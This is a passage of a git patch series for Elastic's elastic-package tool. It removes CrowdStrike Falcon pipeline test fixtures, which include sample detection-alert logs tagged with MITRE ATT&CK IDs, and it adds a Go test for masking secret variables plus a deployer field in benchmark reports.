--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
+++ /dev/null
@@ -1,76 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T14:29:38.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Attributes": {
-                        "detection_id": "DETECTID:ind:TESTID:456-123-654"
-                    },
-                    "AuditKeyValues": [
-                        {
-                            "Key": "detection_id",
-                            "ValueString": "TESTVALUE:ind:STRING123:456-123-654"
-                        }
-                    ],
-                    "ServiceName": "detections"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 3,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 3,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"TESTUSERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"detection_update\",\n        \"ServiceName\": \"detections\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"detection_id\",\n                \"ValueString\": \"TESTVALUE:ind:STRING123:456-123-654\"\n            }\n        ],\n        \"UTCTimestamp\": 1686839378,\n        \"Attributes\": {\n            \"detection_id\": \"DETECTID:ind:TESTID:456-123-654\"\n        }\n    }\n}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "detection_update",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "175.16.199.1"
-                ],
-                "user": [
-                    "TESTUSERID"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "Changchun",
-                    "continent_name": "Asia",
-                    "country_iso_code": "CN",
-                    "country_name": "China",
-                    "location": {
-                        "lat": 43.88,
-                        "lon": 125.3228
-                    },
-                    "region_iso_code": "CN-22",
-                    "region_name": "Jilin Sheng"
-                },
-                "ip": "175.16.199.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "TESTUSERID"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
deleted file mode 100644
index c770c7dc9d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
+++ /dev/null
@@ -1,74 +0,0 @@
-{
-	"metadata": {
-		"customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
-		"eventCreationTime": 1651174243000,
-		"eventType": "XdrDetectionSummaryEvent",
-		"offset": 34280810,
-		"version": "1.0"
-	},
-	"event": {
-		"Author": "CrowdStrike",
-		"DataDomains": "Identity,Network,Endpoint",
-		"Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-		"DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
-		"EndTimeEpoch": 1643317927664000000,
-		"IPv4Addresses": "81.2.69.144,81.2.69.192",
-		"HostNames": "XDR-WIN10",
-		"Name": "Metasploit and brute force login attempt",
-		"PatternId": 100011,
-		"Severity": 90,
-		"SourceProducts": "Falcon,Corelight",
-		"SourceVendors": "CrowdStrike,Corelight",
-		"StartTimeEpoch": 1643317697728000000,
-		"TacticIds": "TA0001,TA0002",
-		"Tactics": "Initial Access,Execution",
-		"TechniqueIds": "T1566.001,T1203",
-		"Techniques": "Spearphishing Attachment,Exploitation for Client Execution",
-		"XdrType": "xdr"
-	}
-}
-{
-	"metadata": {
-		"customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
-		"eventCreationTime": 1651174243000,
-		"eventType": "XdrDetectionSummaryEvent",
-		"offset": 34280810,
-		"version": "1.0"
-	},
-	"event": {
-		"Author": "CrowdStrike",
-		"DataDomains": "Identity,Network,Endpoint",
-		"Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-		"DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
-		"EndTimeEpoch": 1643317927664000000,
-		"IPv4Addresses": "81.2.69.144,81.2.69.192",
-		"HostNames": "XDR-WIN10",
-		"Name": "Metasploit and brute force login attempt",
-		"PatternId": 100011,
-		"Severity": 90,
-		"SourceProducts": "Falcon,Corelight",
-		"SourceVendors": "CrowdStrike,Corelight",
-		"StartTimeEpoch": 1643317697728000000,
-		"TacticIds": "TA0001,TA0002",
-		"Tactics": "Initial Access,Execution",
-		"TechniqueIds": "T1566.001,T1203",
-		"Techniques": "Spearphishing Attachment,Exploitation for Client Execution",
-		"XdrType": "xdr",
-		"MitreAttack": [
-			{
-				"Tactic": "Initial Access",
-				"TacticID": "TA0001",
-				"Technique": "Spearphishing Attachment",
-				"TechniqueID": "T1566.001",
-				"PatternID": 100011
-			},
-			{
-				"Tactic": "Execution",
-				"TacticID": "TA0002",
-				"Technique": "Exploitation for Client Execution",
-				"TechniqueID": "T1203",
-				"PatternID": 100011
-			}
-		]
-	}
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
deleted file mode 100644
index 727e03676d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
+++ /dev/null
@@ -1,190 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-01-27T21:08:17.728Z",
-            "crowdstrike": {
-                "event": {
-                    "DataDomains": [
-                        "Identity",
-                        "Network",
-                        "Endpoint"
-                    ],
-                    "PatternId": "100011",
-                    "Severity": 90,
-                    "SourceProducts": "Falcon,Corelight",
-                    "SourceVendors": "CrowdStrike,Corelight",
-                    "XdrType": "xdr"
-                },
-                "metadata": {
-                    "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
-                    "eventType": "XdrDetectionSummaryEvent",
-                    "offset": 34280810,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "xdr-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2022-04-28T19:30:43.000Z",
-                "end": "2022-01-27T21:12:07.664Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\"\n\t}\n}",
-                "start": "2022-01-27T21:08:17.728Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "XDR-WIN10"
-                ]
-            },
-            "rule": {
-                "author": [
-                    "CrowdStrike"
-                ],
-                "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-                "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
-                "name": "Metasploit and brute force login attempt",
-                "uuid": "100011"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0001",
-                        "TA0002"
-                    ],
-                    "name": [
-                        "Initial Access",
-                        "Execution"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1566.001",
-                        "T1203"
-                    ],
-                    "name": [
-                        "Spearphishing Attachment",
-                        "Exploitation for Client Execution"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2022-01-27T21:08:17.728Z",
-            "crowdstrike": {
-                "event": {
-                    "DataDomains": [
-                        "Identity",
-                        "Network",
-                        "Endpoint"
-                    ],
-                    "MitreAttack": [
-                        {
-                            "PatternID": "100011",
-                            "Tactic": "Initial Access",
-                            "TacticID": "TA0001",
-                            "Technique": "Spearphishing Attachment",
-                            "TechniqueID": "T1566.001"
-                        },
-                        {
-                            "PatternID": "100011",
-                            "Tactic": "Execution",
-                            "TacticID": "TA0002",
-                            "Technique": "Exploitation for Client Execution",
-                            "TechniqueID": "T1203"
-                        }
-                    ],
-                    "PatternId": "100011",
-                    "Severity": 90,
-                    "SourceProducts": "Falcon,Corelight",
-                    "SourceVendors": "CrowdStrike,Corelight",
-                    "XdrType": "xdr"
-                },
-                "metadata": {
-                    "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
-                    "eventType": "XdrDetectionSummaryEvent",
-                    "offset": 34280810,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "xdr-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2022-04-28T19:30:43.000Z",
-                "end": "2022-01-27T21:12:07.664Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"TacticID\": \"TA0001\",\n\t\t\t\t\"Technique\": \"Spearphishing Attachment\",\n\t\t\t\t\"TechniqueID\": \"T1566.001\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Execution\",\n\t\t\t\t\"TacticID\": \"TA0002\",\n\t\t\t\t\"Technique\": \"Exploitation for Client Execution\",\n\t\t\t\t\"TechniqueID\": \"T1203\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t}\n\t\t]\n\t}\n}",
-                "start": "2022-01-27T21:08:17.728Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "XDR-WIN10"
-                ]
-            },
-            "rule": {
-                "author": [
-                    "CrowdStrike"
-                ],
-                "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
-                "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
-                "name": "Metasploit and brute force login attempt",
-                "uuid": "100011"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0001",
-                        "TA0002"
-                    ],
-                    "name": [
-                        "Initial Access",
-                        "Execution"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1566.001",
-                        "T1203"
-                    ],
-                    "name": [
-                        "Spearphishing Attachment",
-                        "Exploitation for Client Execution"
-                    ]
-                }
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
deleted file mode 100644
index 71a83cd255..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
+++ /dev/null
@@ -1,42 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-default-crowdstrike
-      streams:
-        - allow_deprecated_use: true
-          data_stream:
-            dataset: crowdstrike.falcon
-          exclude_files:
-            - \.gz$
-          multiline.match: after
-          multiline.max_lines: 5000
-          multiline.negate: true
-          multiline.pattern: ^{
-          multiline.timeout: 10
-          paths:
-            - /var/log/crowdstrike/falconhoseclient/output*
-          publisher_pipeline.disable_host: true
-          tags:
-            - preserve_original_event
-            - forwarded
-            - crowdstrike-falcon
-      type: logfile
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.falcon-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references: []
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
deleted file mode 100644
index 58bbc1f403..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
deleted file mode 100644
index 76892c8579..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
+++ /dev/null
@@ -1,61 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-streaming-crowdstrike
-      streams:
-        - auth:
-            client_id: test_client_id
-            client_secret: ${SECRET_0}
-            token_url: http://host.tld/oauth2/token
-          crowdstrike_app_id: test_app_id
-          data_stream:
-            dataset: crowdstrike.falcon
-          processors: null
-          program: |
-            state.response.decode_json().as(body, {
-              // Handle both old agent behaviour and new multi-resource cursors.
-              ?"cursor": !has(state.feed) ?
-                // Old behaviour: no feed key.
-                body.?metadata.optMap(m, {"offset": m.offset})
-              : has(body.metadata) ?
-                // New behaviour with a cursor from the event.
-                optional.of(state.?cursor.orValue({}).with({
-                  ?state.feed: body.?metadata.optMap(m, {"offset": m.offset}),
-                }))
-              :
-                // New behaviour with no cursor; pass through.
-                state.?cursor,
-              "events": [{
-                    "message":  body.encode_json(),
-              }],
-            })
-          publisher_pipeline.disable_host: true
-          redact:
-            fields: null
-          stream_type: crowdstrike
-          tags:
-            - preserve_original_event
-            - forwarded
-            - crowdstrike-falcon
-          url: http://host.tld/sensors/entities/datafeed/v2
-      type: streaming
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.falcon-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references:
-    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
deleted file mode 100644
index 2afd89811e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-input: streaming
-vars:
-data_stream:
-  vars:
-    url: http://host.tld
-    client_id: test_client_id
-    client_secret: test_client_secret
-    token_url: http://host.tld/oauth2/token
-    app_id: test_app_id
-    preserve_original_event: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
deleted file mode 100644
index d26edaaf9e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-service: crowdstrike-logfile
-input: logfile
-data_stream:
-  vars:
-    preserve_original_event: true
-    paths:
-      - "{{SERVICE_LOGS_DIR}}/falcon-*.log"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml
deleted file mode 100644
index 0cc9daccf8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-input: streaming
-service: crowdstrike-streaming
-data_stream:
-  vars:
-    url: http://{{Hostname}}:{{Port}}
-    client_id: slightlysecretclientid
-    client_secret: totallysecretlientsecret
-    token_url: http://{{Hostname}}:{{Port}}/oauth2/token
-    app_id: nonsecretappid
-    preserve_original_event: true
-assert:
-  hit_count: 3

From 6f4f602fb7330eb737d73d8dd681d518d3159f8e Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 26 Mar 2026 00:48:28 +0530
Subject: [PATCH 17/19] Add tests as per comment

---
 .../benchrunner/runners/system/report_test.go | 78 +++++++++++++++++++
 1 file changed, 78 insertions(+)
 create mode 100644 internal/benchrunner/runners/system/report_test.go

diff --git a/internal/benchrunner/runners/system/report_test.go b/internal/benchrunner/runners/system/report_test.go
new file mode 100644
index 0000000000..bcf89558c4
--- /dev/null
+++ b/internal/benchrunner/runners/system/report_test.go
@@ -0,0 +1,78 @@
+// Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+// or more contributor license agreements. Licensed under the Elastic License;
+// you may not use this file except in compliance with the Elastic License.
+
+package system
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+)
+
+func TestMaskSecretVars(t *testing.T) {
+	t.Parallel()
+
+	testCases := []struct {
+		name        string
+		vars        map[string]interface{}
+		secretNames map[string]bool
+		expected    map[string]interface{}
+	}{
+		{
+			name: "masks secret vars and preserves non-secret vars",
+			vars: map[string]interface{}{
+				"api_key":   "super-secret-value",
+				"host":      "localhost",
+				"retries":   3,
+				"tls":       true,
+				"namespace": "default",
+			},
+			secretNames: map[string]bool{
+				"api_key": true,
+			},
+			expected: map[string]interface{}{
+				"api_key":   "xxxx",
+				"host":      "localhost",
+				"retries":   3,
+				"tls":       true,
+				"namespace": "default",
+			},
+		},
+		{
+			name: "returns vars unchanged when there are no secret names",
+			vars: map[string]interface{}{
+				"host": "localhost",
+			},
+			secretNames: map[string]bool{},
+			expected: map[string]interface{}{
+				"host": "localhost",
+			},
+		},
+		{
+			name: "returns empty vars map when vars are empty",
+			vars: map[string]interface{}{},
+			secretNames: map[string]bool{
+				"api_key": true,
+			},
+			expected: map[string]interface{}{},
+		},
+	}
+
+	for _, tc := range testCases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			original := make(map[string]interface{}, len(tc.vars))
+			for k, v := range tc.vars {
+				original[k] = v
+			}
+
+			actual := maskSecretVars(tc.vars, tc.secretNames)
+
+			assert.Equal(t, tc.expected, actual)
+			assert.Equal(t, original, tc.vars)
+		})
+	}
+}

From 62103014ee3310e018e3228fc526f2ecd1af247d Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 26 Mar 2026 16:44:48 +0530
Subject: [PATCH 18/19] Address review comments

---
 internal/benchrunner/runners/system/report.go        | 3 +++
 internal/benchrunner/runners/system/scenario_test.go | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/internal/benchrunner/runners/system/report.go b/internal/benchrunner/runners/system/report.go
index 6dadda13ba..b86b323c24 100644
--- a/internal/benchrunner/runners/system/report.go
+++ b/internal/benchrunner/runners/system/report.go
@@ -32,6 +32,7 @@ type report struct {
 	}
 	Parameters struct {
 		PackageVersion      string
+		Deployer            string
 		Input               string
 		Vars                map[string]interface{}
 		DataStream          dataStream
@@ -75,6 +76,7 @@ func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary,
 	report.Info.Duration = time.Duration(sum.CollectionEndTs-sum.CollectionStartTs) * time.Second
 	report.Info.GeneratedCorporaFile = corporaFile
 	report.Parameters.PackageVersion = s.Version
+	report.Parameters.Deployer = s.Deployer
 	report.Parameters.Input = s.Input
 	report.Parameters.Vars = maskSecretVars(s.Vars, secretVarNames)
 	report.Parameters.DataStream = dataStream{
@@ -118,6 +120,7 @@ func reportHumanFormat(r *report) []byte {
 
 	pkvs := []interface{}{
 		"package version", r.Parameters.PackageVersion,
+		"deployer", r.Parameters.Deployer,
 		"input", r.Parameters.Input,
 	}
 
diff --git a/internal/benchrunner/runners/system/scenario_test.go b/internal/benchrunner/runners/system/scenario_test.go
index 9802cb3792..a578d1ee41 100644
--- a/internal/benchrunner/runners/system/scenario_test.go
+++ b/internal/benchrunner/runners/system/scenario_test.go
@@ -45,9 +45,9 @@ func TestReadConfig_DeployerValidation(t *testing.T) {
 		},
 	}
 
-	t.Parallel()
 	for _, tc := range testCases {
 		t.Run(tc.testName, func(t *testing.T) {
+			t.Parallel()
 			scenario, err := readRawConfig("testdata", tc.scenarioName)
 
 			if tc.errContains != "" {

From cab532be0a40e2da5e5bd53d0303b7f523b15eac Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 26 Mar 2026 17:29:17 +0530
Subject: [PATCH 19/19] Populate deployer field in report when not explicitly
 set in config

Resolves empty deployer field in benchmark reports for packages with a single deployer that don't explicitly specify it in the scenario config.
---
 internal/benchrunner/runners/system/runner.go | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go
index 2d97ddb594..56e4a6091d 100644
--- a/internal/benchrunner/runners/system/runner.go
+++ b/internal/benchrunner/runners/system/runner.go
@@ -188,6 +188,15 @@ func (r *runner) setUp(ctx context.Context) error {
 	}
 	r.scenario = scenario
 
+	// If no deployer was explicitly set in the config but a service was used,
+	// resolve the actual deployer name (the only one present in the deploy dir).
+	if serviceName != "" && r.scenario.Deployer == "" {
+		devDeployDir := filepath.Clean(filepath.Join(r.options.PackageRoot, r.options.BenchPath, "deploy"))
+		if deployers, err := servicedeployer.FindAllServiceDeployers(devDeployDir); err == nil && len(deployers) == 1 {
+			r.scenario.Deployer = deployers[0]
+		}
+	}
+
 	if r.scenario.Corpora.Generator != nil {
 		var err error
 		r.generator, err = r.initializeGenerator(ctx)